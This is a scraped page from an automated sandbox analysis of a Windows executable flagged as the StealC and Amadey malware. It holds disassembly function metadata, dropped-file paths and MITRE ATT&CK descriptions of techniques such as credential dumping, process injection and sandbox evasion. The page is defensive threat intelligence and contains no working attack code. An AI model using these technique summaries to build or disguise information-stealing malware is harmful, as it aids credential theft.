Opcode ID: fe6c1b38a6bb3cd124cbc9374929f7af7f9fedf1f902d89ef974c50ef0e10393
Instruction ID: c71b5025785223e0983d450e107d8921be3881d76ba0de02d8a888a5fd4a2018
Opcode Fuzzy Hash: fe6c1b38a6bb3cd124cbc9374929f7af7f9fedf1f902d89ef974c50ef0e10393
Instruction Fuzzy Hash: 6831D471A022168FDB10CF59CC8465EBBF5FFC1314F168669C8069B205DB32E955CBA5

Function 6C65F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C65F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C65F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C65F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C65F668

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 0bcccbb1fba418fab354e649ec0c86d8c8e3daeff70f87b6635bc67e36628058
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 82315171A00214AFC714CF6DCCC0A9F77B5EF94354B648539FA4A8BB08D632E9548B99

Function 6C6726B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6726C1
free.MOZGLUE(?), ref: 6C6726E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6726FF
free.MOZGLUE ref: 6C67270D

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2b20e18a3a28508c2b0379120c622bdd28b175964fe8d9230b7c6f2fad06eb26
Instruction ID: 7a0a20517dca6f42827870f12ccce035c9d21508eb02e0731bac65965b24624a
Opcode Fuzzy Hash: 2b20e18a3a28508c2b0379120c622bdd28b175964fe8d9230b7c6f2fad06eb26
Instruction Fuzzy Hash: 38F0F9B2701200ABEB209A59E8C4D4B73A9EF4131CB604435EA16C3B01E332F959C6BD

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFHDAEHDAKECGCAKFCFIJDHJDB

C:\ProgramData\DAKEBAKFHCFHIEBFBAFBKFCAEH

C:\ProgramData\EGDBAFHJJDAKEBGCFCBG

C:\ProgramData\FIDGDAKFHIEHJKFHDHDB

C:\ProgramData\IDAAFBGDBKJJJKFIIIJJ

C:\ProgramData\IDHCGDAF

C:\ProgramData\JECBGCFH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre